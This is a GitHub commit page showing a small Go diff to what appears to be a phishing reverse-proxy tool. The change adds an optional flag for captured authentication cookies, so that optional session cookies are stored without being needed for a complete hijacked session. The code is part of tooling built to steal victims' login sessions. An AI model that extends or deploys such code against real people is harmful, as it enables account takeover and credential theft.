Skip to content

Commit

Permalink
added optional cookies, which are saved but not required for capturin…
Browse files Browse the repository at this point in the history
…g the full session (add ',opt' to cookie name)
  • Loading branch information
kgretzky committed Oct 25, 2018
1 parent 3148373 commit cdb8984
Show file tree
Hide file tree
Showing 3 changed files with 8 additions and 3 deletions.
3 changes: 1 addition & 2 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -223,7 +223,6 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if err == nil {
req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))


contentType := req.Header.Get("Content-type")
if contentType == "application/json" {

Expand All @@ -250,7 +249,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}

}else{
} else {

if req.ParseForm() == nil {
for k, v := range req.Form {
Expand Down
4 changes: 4 additions & 0 deletions core/phishlet.go
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,7 @@ type AuthToken struct {
name string
re *regexp.Regexp
http_only bool
optional bool
}

type Phishlet struct {
Expand Down Expand Up @@ -308,6 +309,7 @@ func (p *Phishlet) addAuthTokens(hostname string, tokens []string) error {
name: name,
re: nil,
http_only: false,
optional: false,
}
for i := 1; i < len(st); i++ {
switch st[i] {
Expand All @@ -317,6 +319,8 @@ func (p *Phishlet) addAuthTokens(hostname string, tokens []string) error {
if err != nil {
return err
}
case "opt":
at.optional = true
}
}
p.authTokens[hostname] = append(p.authTokens[hostname], at)
Expand Down
4 changes: 3 additions & 1 deletion core/session.go
Original file line number Diff line number Diff line change
Expand Up @@ -57,7 +57,9 @@ func (s *Session) AddAuthToken(domain string, key string, value string, path str
for k, v := range authTokens {
tcopy[k] = []AuthToken{}
for _, at := range v {
tcopy[k] = append(tcopy[k], *at)
if !at.optional {
tcopy[k] = append(tcopy[k], *at)
}
}
}

Expand Down

0 comments on commit cdb8984

Please sign in to comment.